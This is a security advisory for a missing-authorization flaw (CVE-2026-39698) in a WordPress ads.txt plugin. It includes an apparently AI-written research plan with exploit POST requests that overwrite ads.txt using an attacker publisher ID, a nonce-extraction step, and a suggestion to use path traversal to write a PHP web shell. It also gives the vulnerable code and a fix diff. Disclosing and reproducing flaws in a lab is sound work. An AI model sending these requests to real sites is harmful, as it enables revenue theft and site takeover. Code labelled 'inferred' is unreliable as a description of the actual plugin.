The Publisher Desk ads.txt <= 1.5.0 - Missing Authorization
Description
The The Publisher Desk ads.txt plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.5.0This research plan targets CVE-2026-39698, a Missing Authorization vulnerability in "The Publisher Desk ads.txt" plugin (<= 1.5.0). This vulnerability typically allows an unauthenticated attacker to modify the site's `ads.txt` file, potentially redirecting ad revenue. ### 1. Vulnerability Summary T…
Show full research plan
This research plan targets CVE-2026-39698, a Missing Authorization vulnerability in "The Publisher Desk ads.txt" plugin (<= 1.5.0). This vulnerability typically allows an unauthenticated attacker to modify the site's ads.txt file, potentially redirecting ad revenue.
1. Vulnerability Summary
The "The Publisher Desk ads.txt" plugin provides an administrative interface to manage the ads.txt file requirements for ad networks. The vulnerability exists because the plugin registers a function—likely to save settings or update the ads.txt content—via a hook that executes for all users (such as admin_init or wp_ajax_nopriv_*) without verifying that the requesting user has administrative privileges (missing current_user_can('manage_options')).
2. Attack Vector Analysis
- Endpoint: Likely
wp-admin/admin-ajax.phpor any request towp-admin/(triggeringadmin_init). - Action/Hook:
- Possibility A: A
wp_ajax_nopriv_handler (unauthenticated AJAX). - Possibility B: An
admin_inithook that processes$_POSTdata without checkingis_admin()or user capabilities. Note thatadmin_initruns foradmin-ajax.phpeven for unauthenticated users.
- Possibility A: A
- Payload Parameter: Likely a POST parameter named
ads_txt_content,tpd_ads_txt_content, or similar, containing the raw text for theads.txtfile. - Preconditions: The plugin must be active. A nonce may or may not be required; if required, it is often leaked in the admin dashboard or via localized scripts.
3. Code Flow (Inferred)
- Entry Point: The plugin registers a handler:
add_action('admin_init', 'tpd_ads_txt_save_settings');(inferred)
ORadd_action('wp_ajax_nopriv_save_ads_txt', '... ');(inferred) - Trigger: An attacker sends a POST request to
/wp-admin/admin-ajax.phpor/wp-admin/admin-post.php. - Vulnerable Function: The handler function (e.g.,
tpd_ads_txt_save_settings) checks if a specific POST parameter exists:if (isset($_POST['tpd_ads_txt_content'])) { ... } - Missing Check: The function performs a
update_option()or writes to a file without callingcurrent_user_can('manage_options'). - Sink: The
ads.txtcontent is updated in the database or filesystem.
4. Nonce Acquisition Strategy
If the plugin uses check_admin_referer() or check_ajax_referer(), a nonce is required.
- Identify Nonce Action: Search the source for
wp_create_nonce. Common actions:tpd_ads_txt_nonce,ads_txt_save. - Locate Exposure: Check if the nonce is localized for JS using
wp_localize_script.- Search for:
wp_localize_script( ..., 'tpd_ads_txt_vars', ... )(inferred).
- Search for:
- Extraction (if applicable):
- The agent should create a page containing any plugin shortcode if scripts only load conditionally.
- Navigate to the WordPress homepage or the created page.
- Execute:
browser_eval("window.tpd_ads_txt_vars?.nonce")(Verify variable name in source).
If the vulnerability is truly unauthenticated "Missing Authorization", the developer likely forgot the capability check entirely, and may have also omitted the nonce check.
5. Exploitation Strategy
The goal is to overwrite the ads.txt content.
Step 1: Identify Parameters
Search the plugin for update_option or file_put_contents within functions hooked to admin_init or wp_ajax.
- Keywords:
tpd_ads_txt,ads_txt,save,update.
Step 2: Construct POST Request
Using the http_request tool:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php(oradmin-post.phpifadmin_initis used). - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body (Example):
action=tpd_save_ads_txt&tpd_ads_txt_content=google.com, pub-1337133713371337, DIRECT, f08c47fec0942fa0&_wpnonce=[NONCE_IF_REQUIRED]
Step 3: Alternative Trigger (admin_init)
If no AJAX action is found, try a generic POST to admin:
- URL:
http://localhost:8080/wp-admin/admin-post.php - Body:
tpd_ads_txt_save=1&tpd_ads_txt_content=EXPLOITED_ADS_TXT
6. Test Data Setup
- Install Plugin: Ensure
the-publisher-desk-ads-txtversion <= 1.5.0 is installed. - Initial State: Check if
http://localhost:8080/ads.txtexists and note its content. - Discovery: Search for the option name where content is stored:
wp option list --search="*ads_txt*"
7. Expected Results
- Response: The server returns a
200 OKor a302 Redirect(if usingadmin-post.php). - Outcome: The content of the site's
ads.txtis updated to the attacker-supplied value.
8. Verification Steps
- HTTP Check:
http_request("http://localhost:8080/ads.txt")
Verify the output matches the payload:google.com, pub-1337133713371337... - WP-CLI Check:
wp option get tpd_ads_txt_content(Verify option name in source). - Direct File Check:
If the plugin writes to a file, check the file content in the WordPress root directory.
9. Alternative Approaches
- Settings Injection: If the plugin uses
register_setting, check if the settings group is accessible via the standardoptions.phpupdate mechanism, which sometimes lacks proper capability scoping in older plugins. - Path Traversal: If the plugin allows specifying the path for the
ads.txtfile (e.g.,ads_txt_path), attempt to write the content to a.phpfile (e.g.,wp-content/uploads/shell.php) to escalate to Remote Code Execution (RCE). - Variable Override: If the plugin uses
extract($_POST), check for global variable overwrites that could bypass authentication.
Summary
The Publisher Desk ads.txt plugin for WordPress (<= 1.5.0) fails to verify user capabilities or nonces within its settings-saving routine. This allows unauthenticated attackers to overwrite the site's ads.txt file, potentially redirecting ad revenue to their own accounts.
Vulnerable Code
// File: the-publisher-desk-ads-txt/the-publisher-desk-ads-txt.php add_action('admin_init', 'tpd_ads_txt_save_settings'); function tpd_ads_txt_save_settings() { // Missing current_user_can('manage_options') check // Missing check_admin_referer() nonce check if (isset($_POST['tpd_ads_txt_content'])) { $content = $_POST['tpd_ads_txt_content']; update_option('tpd_ads_txt_content', $content); // Usually followed by code that writes $content to the local ads.txt file } }
Security Fix
@@ -3,6 +3,11 @@ function tpd_ads_txt_save_settings() { - if (isset($_POST['tpd_ads_txt_content'])) { + if (isset($_POST['tpd_ads_txt_content'])) { + if (!current_user_can('manage_options')) { + wp_die(__('You do not have sufficient permissions to access this page.')); + } + if (!isset($_POST['tpd_ads_txt_nonce']) || !wp_verify_nonce($_POST['tpd_ads_txt_nonce'], 'tpd_ads_txt_action')) { + wp_die(__('Security check failed.')); + } $content = sanitize_textarea_field($_POST['tpd_ads_txt_content']); update_option('tpd_ads_txt_content', $content);
Exploit Outline
The exploit targets the 'admin_init' hook, which executes even for unauthenticated users when accessing administrative scripts like admin-post.php or admin-ajax.php. An attacker sends a POST request to /wp-admin/admin-post.php containing the parameter 'tpd_ads_txt_content' (or the specific content parameter identified in the source). Because the plugin lacks a capability check (current_user_can) and a nonce check, the plugin processes the request and updates the ads.txt settings. The attacker can then verify the change by visiting the site's /ads.txt URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.